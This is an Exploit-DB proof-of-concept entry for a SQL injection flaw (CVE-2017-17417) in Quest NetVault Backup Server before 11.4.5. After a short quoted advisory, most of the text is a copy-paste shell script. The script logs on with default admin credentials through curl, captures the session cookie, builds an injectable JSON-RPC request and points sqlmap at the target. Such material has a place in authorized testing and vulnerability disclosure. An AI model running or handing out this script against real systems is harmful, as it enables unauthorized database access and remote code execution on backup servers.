Quest NetVault Backup Server < 11.4.5 - Process Manager Service SQL Injection / Remote Code Execution

EDB-ID:

46446




Platform:

Multiple

Date:

2019-02-22


# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417

# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/ 
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
# 
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. 
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this 
# vulnerability to execute code in the context of the underlying database."



# Fill out the variables then copy paste everything below this line into a kali terminal

#target ip address
target=x.x.x.x

#target port
port=8443

#username
username=admin

#password is blank by default!
password=
cookie=$(curl -i -s -k  -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch